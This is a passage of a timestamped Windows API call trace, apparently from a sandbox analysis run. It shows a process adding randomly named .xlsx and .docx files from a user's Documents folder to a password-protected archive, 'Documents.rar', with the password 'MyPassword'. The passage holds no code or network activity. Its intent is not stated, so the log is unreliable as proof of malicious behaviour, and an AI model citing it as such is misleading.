returned 1 [0067.908] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a590, Size=0x48) returned 0x39daf0 [0067.908] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.908] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x62, lpOverlapped=0x0) returned 1 [0067.908] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.908] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x62) returned 0x3a0ed0 [0067.908] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.908] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.908] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x5253e [0067.908] CloseHandle (hObject=0x1b0) returned 1 [0067.908] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.909] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.909] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.909] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.909] FindFirstFileW (in: lpFileName="3gZT0e1Jc7KRhrNwc8F.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.909] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.909] CreateFileW (lpFileName="3gZT0e1Jc7KRhrNwc8F.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\3gzt0e1jc7krhrnwc8f.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.909] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.909] GetTickCount () returned 0xa67457 [0067.909] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.909] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.909] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.909] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.909] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="1dt_j0rkw.xlsx") returned 14 [0067.909] SetWindowTextW (hWnd=0x10280, lpString="3gZT0e1Jc7KRhrNwc8F.xlsx") returned 1 [0067.909] GetTickCount () returned 0xa67457 [0067.909] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.909] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.910] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.910] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.910] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x218)) [0067.910] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.910] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14325008851) returned 1 [0067.910] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x1838, lpOverlapped=0x0) returned 1 [0067.910] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a1878, nNumberOfBytesToRead=0xfe7c8, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a1878*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.910] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.910] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.910] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5f0, Size=0x48) returned 0x39db40 [0067.910] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.910] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.910] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5f0, Size=0x48) returned 0x39daf0 [0067.910] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.910] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.910] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.910] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.910] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a620 | out: hHeap=0x2e0000) returned 1 [0067.910] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a5f0 | out: hHeap=0x2e0000) returned 1 [0067.910] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5c0, Size=0x48) returned 0x39db40 [0067.910] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.910] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.910] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.912] GetTickCount () returned 0xa67457 [0067.912] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14325238312) returned 1 [0067.912] GetTickCount () returned 0xa67457 [0067.912] GetTickCount () returned 0xa67457 [0067.912] GetTickCount () returned 0xa67457 [0067.912] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.912] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.912] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.912] ResetEvent (hEvent=0x1a4) returned 1 [0067.912] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.913] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.913] ResetEvent (hEvent=0x1a4) returned 1 [0067.913] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.913] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.913] GetTickCount () returned 0xa67457 [0067.913] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14325384927) returned 1 [0067.913] GetTickCount () returned 0xa67457 [0067.914] GetTickCount () returned 0xa67457 [0067.914] GetTickCount () returned 0xa67457 [0067.914] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.914] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.914] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.914] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.914] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.914] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x5253e [0067.914] SetFilePointer (in: hFile=0x198, lDistanceToMove=106, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x525a8 [0067.914] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.914] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.914] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.914] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.914] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x1860, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x1860, lpOverlapped=0x0) returned 1 [0067.914] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.914] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.914] SetFilePointer (in: hFile=0x198, lDistanceToMove=337214, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x5253e [0067.914] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x5253e [0067.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.914] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5f0, Size=0x48) returned 0x39daf0 [0067.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.914] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5f0, Size=0x48) returned 0x39db40 [0067.914] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.914] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.914] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a620 | out: hHeap=0x2e0000) returned 1 [0067.914] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a5f0 | out: hHeap=0x2e0000) returned 1 [0067.914] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5c0, Size=0x48) returned 0x39daf0 [0067.914] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.915] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6a, lpOverlapped=0x0) returned 1 [0067.915] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.915] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6a) returned 0x3b4b610 [0067.915] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.915] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.915] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x53e08 [0067.915] CloseHandle (hObject=0x1b0) returned 1 [0067.915] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.915] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.915] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.915] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.915] FindFirstFileW (in: lpFileName="6_vMe3CazzKO.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.915] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.915] CreateFileW (lpFileName="6_vMe3CazzKO.docx" (normalized: "c:\\users\\whuoxysd\\documents\\6_vme3cazzko.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.915] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.915] GetTickCount () returned 0xa67457 [0067.915] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.915] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.915] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.915] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.915] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="3gZT0e1Jc7KRhrNwc8F.xlsx") returned 24 [0067.915] SetWindowTextW (hWnd=0x10280, lpString="6_vMe3CazzKO.docx") returned 1 [0067.915] GetTickCount () returned 0xa67457 [0067.915] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.916] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.916] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.916] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.916] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x218)) [0067.916] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.916] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14325763207) returned 1 [0067.917] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x17c9, lpOverlapped=0x0) returned 1 [0067.918] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a1809, nNumberOfBytesToRead=0xfe837, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a1809*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.918] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.918] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.918] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a620, Size=0x48) returned 0x39db40 [0067.918] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.918] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.918] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a620, Size=0x48) returned 0x39daf0 [0067.918] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.918] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.918] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.918] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.918] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a650 | out: hHeap=0x2e0000) returned 1 [0067.918] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a620 | out: hHeap=0x2e0000) returned 1 [0067.918] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5f0, Size=0x48) returned 0x39db40 [0067.918] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.918] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.918] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.918] GetTickCount () returned 0xa67457 [0067.918] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14325867911) returned 1 [0067.918] GetTickCount () returned 0xa67457 [0067.918] GetTickCount () returned 0xa67457 [0067.918] GetTickCount () returned 0xa67457 [0067.918] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.918] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.918] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.918] ResetEvent (hEvent=0x1a4) returned 1 [0067.918] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.919] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.919] ResetEvent (hEvent=0x1a4) returned 1 [0067.919] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.920] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.920] GetTickCount () returned 0xa67457 [0067.920] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14326007329) returned 1 [0067.920] GetTickCount () returned 0xa67457 [0067.920] GetTickCount () returned 0xa67457 [0067.920] GetTickCount () returned 0xa67457 [0067.920] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.920] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.920] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.920] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.920] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.920] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x53e08 [0067.920] SetFilePointer (in: hFile=0x198, lDistanceToMove=99, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x53e6b [0067.920] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.920] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.920] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.920] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.920] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x1800, lpOverlapped=0x0) returned 1 [0067.920] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.920] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.920] SetFilePointer (in: hFile=0x198, lDistanceToMove=343560, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x53e08 [0067.920] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x53e08 [0067.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.921] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a620, Size=0x48) returned 0x39daf0 [0067.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.921] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a620, Size=0x48) returned 0x39db40 [0067.921] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.921] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a620 [0067.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a650 [0067.921] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a650 | out: hHeap=0x2e0000) returned 1 [0067.921] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a620 | out: hHeap=0x2e0000) returned 1 [0067.921] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5f0, Size=0x48) returned 0x39daf0 [0067.921] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.921] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x63, lpOverlapped=0x0) returned 1 [0067.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.921] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x63) returned 0x3a0f40 [0067.921] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.921] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.921] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x5566b [0067.921] CloseHandle (hObject=0x1b0) returned 1 [0067.921] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0067.921] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0067.921] GetFocus () returned 0x0 [0067.921] TranslateMessage (lpMsg=0x1cd790) returned 0 [0067.921] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0067.921] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.921] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 1 [0067.922] GetMessageW (in: lpMsg=0x1cd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd830) returned 1 [0067.922] GetFocus () returned 0x0 [0067.922] TranslateMessage (lpMsg=0x1cd830) returned 0 [0067.922] 